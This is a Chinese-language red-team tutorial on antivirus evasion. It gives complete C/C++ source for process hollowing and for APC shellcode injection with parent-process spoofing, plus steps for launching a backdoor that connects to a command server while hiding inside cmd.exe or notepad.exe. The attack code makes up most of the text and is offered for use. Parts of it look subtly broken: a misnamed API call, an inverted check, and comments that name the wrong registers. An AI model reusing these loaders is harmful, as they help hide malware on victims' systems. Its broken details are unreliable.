目录
- 进程镂空&傀儡进程(主要过内存扫描)
- 代码
- 傀儡进程演示
- 如何上线
- 上线演示
- APC注入&进程欺骗(主要过内存扫描)
- 同步调用与异步调用
- 代码
- 演示
进程镂空&傀儡进程(主要过内存扫描)
进程镂空(Process Hollowing)
是一种防御规避的进程注入技术,以红队隐匿技能为主的辅助免杀手法
代码
#include <stdio.h>
#include <Windows.h>
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(int argc, wchar_t* argv[])
{
IN PIMAGE_DOS_HEADER pDosHeaders;
IN PIMAGE_NT_HEADERS pNtHeaders;
IN PIMAGE_SECTION_HEADER pSectionHeaders;
IN PVOID FileImage;
IN HANDLE hFile;
OUT DWORD FileReadSize;
IN DWORD dwFileSize;
IN PVOID RemoteImageBase;
IN PVOID RemoteProcessMemory;
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
si.cb = sizeof(si);
char path[] = "HelloWorld.exe";
BOOL bRet = CreateProcessA(
NULL,
(LPSTR)"calc",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi);
//在本进程获取替换文件的内容
hFile = CreateFileA(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
dwFileSize = GetFileSize(hFile, NULL); //获取替换可执行文件的大小
FileImage = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
ReadFile(hFile, FileImage, dwFileSize, &FileReadSize, NULL);
CloseHandle(hFile);
pDosHeaders = (PIMAGE_DOS_HEADER)FileImage;
pNtHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)FileImage + pDosHeaders->e_lfanew); //获取NT头
GetThreadContext(pi.hThread, &ctx); //获取挂起进程上下文
#ifdef _WIN64
ReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &RemoteImageBase, sizeof(PVOID), NULL);
// 从rbx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#endif
// 从ebx寄存器中获取PEB地址,并从PEB中读取可执行映像的基址
#ifdef _X86_
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &RemoteImageBase, sizeof(PVOID), NULL);
#endif
//判断文件预期加载地址是否被占用
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
if ((SIZE_T)RemoteImageBase == pNtHeaders->OptionalHeader.ImageBase)
{
NtUnmapViewOfSection(pi.hProcess, RemoteImageBase); //卸载已存在文件
}
//为可执行映像分配内存,并写入文件头
RemoteProcessMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNtHeaders->OptionalHeader.ImageBase, pNtHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, RemoteProcessMemory, FileImage, pNtHeaders->OptionalHeader.SizeOfHeaders, NULL);
//逐段写入
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeaders = (PIMAGE_SECTION_HEADER)((LPBYTE)FileImage + pDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
WriteProcessMemory(pi.hProcess, (PVOID)((LPBYTE)RemoteProcessMemory + pSectionHeaders->VirtualAddress), (PVOID)((LPBYTE)FileImage + pSectionHeaders->PointerToRawData), pSectionHeaders->SizeOfRawData, NULL);
}
//将rax寄存器设置为注入软件的入口点
#ifdef _WIN64
ctx.Rcx = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
//将eax寄存器设置为注入软件的入口点
#ifdef _X86_
ctx.Eax = (SIZE_T)((LPBYTE)RemoteProcessMemory + pNtHeaders->OptionalHeader.AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtHeaders->OptionalHeader.ImageBase, sizeof(PVOID), NULL);
#endif
SetThreadContext(pi.hThread, &ctx); // 设置线程上下文
ResumeThread(pi.hThread); // 恢复挂起线程
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
1.创建一个挂起合法进程
2.读取执行代码
3.获取挂起进程上下文与环境信息
4.卸载挂起进程内存
5.写入执行代码
6.恢复挂起进程
傀儡进程演示
- 将代码生成的程序打开,并用进程监控工具进行监控
刚打开时会发现存在有这个进程。project1.exe
然后等一下就发现它不见了。其实是变成了cmd.exe(变成什么进程我们是可以在代码里面控制的)
控制的代码位置
如何上线
- 这里有两种上线方式,一直是用后门程序,一种是用后门代码
后门程序: 将你的后门程序写入代码中,让它去运行,如这里是HelloWorld.exe
后门代码: 将你的后门代码写在这里
这里推荐第二种方式(第一种必须要满足 两个程序都要实现免杀才行)
上线演示
- 先生成一个上线程序
- 将上线后门改成
HelloWorld.exe
与代码当中一样,和代码程序放在同一个目录
- 运行
project1.exe
,会发现已经上线,且进程里面没有project.exe
只有一个傀儡进程cmd.exe
APC注入&进程欺骗(主要过内存扫描)
APC全称为Asynchronous Procedure Call,叫异步过程调用,
是指函数在特定线程中被异步执行,在操作系统中是并发机制。
同步调用与异步调用
同步调用:
我们需要去烧水,首先我们先去需 要给水壶添水,然后将水壶连接上电之后,然后加热,等水烧开了然后取水,在烧水的等待的时间中,我们不去做任何事情。这就是同步。
异步调用:
就是我们在烧水的等待的过程中去干一些其他的事情,比如玩手机,打扫卫生等等。
流程
1、获取父进程PID
2、获取当前进程权限
3、创建并分配写入内存
4、写入SC并APC进行调用
APC注入 配合进程注入实现父进程欺骗
代码
// Parent spoofing.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include <iostream>
#include <windows.h>
#include <TlHelp32.h>
#include <fstream>
using namespace std;
DWORD getParentProcessID()
{
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 process = { 0 };
process.dwSize = sizeof(process);
if (Process32First(snapshot, &process))
{
do
{
if (!wcscmp(process.szExeFile, L"explorer.exe"))
{
printf("Find explorer failed!\n");
break;
}
} while (Process32Next(snapshot, &process));
}
CloseHandle(snapshot);
return process.th32ProcessID;
}
int main()
{
unsigned char shellCode[] = "你的shellcode";
STARTUPINFOEXA sInfoEX;
PROCESS_INFORMATION pInfo;
SIZE_T sizeT;
//打开explorer进程获取当前进程所有权限
HANDLE expHandle = OpenProcess(PROCESS_ALL_ACCESS, false, getParentProcessID());
//用0填充数组
ZeroMemory(&sInfoEX, sizeof(STARTUPINFOEXA));
//初始化指定的属性列表,创建进程和线程
InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
//设置进程属性并从堆中分配内存
sInfoEX.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
InitializeProcThreadAttributeList(sInfoEX.lpAttributeList, 1, 0, &sizeT);
//更新用于进程和线程创建的属性列表中的指定属性
UpdateProcThreadAttribute(sInfoEX.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &expHandle, sizeof(HANDLE), NULL, NULL);
sInfoEX.StartupInfo.cb = sizeof(STARTUPINFOEXA);
CreateProcessA("C:\\Windows\\System32\\notepad.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&sInfoEX),
&pInfo);
//分配内存
LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pInfo.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
SIZE_T* lpNumberOfBytesWritten = 0;
//写入内存
BOOL resWPM = WriteProcessMemory(pInfo.hProcess, lpBaseAddress, (LPVOID)shellCode, sizeof(shellCode), lpNumberOfBytesWritten);
// APC调用
QueueUserAPC((PAPCFUNC)lpBaseAddress, pInfo.hThread, NULL);
//启动线程
ResumeThread(pInfo.hThread);
CloseHandle(pInfo.hThread);
return 0;
}
演示
- 写入shellcode并生成程序
- 这里我生成的程序是
project3.exe
,执行程序,并用进程监控软件进行监控
执行后会发现直接就是notepad.exe
,并没有像进程镂空那样先显示Project1.exe
再转换为傀儡进程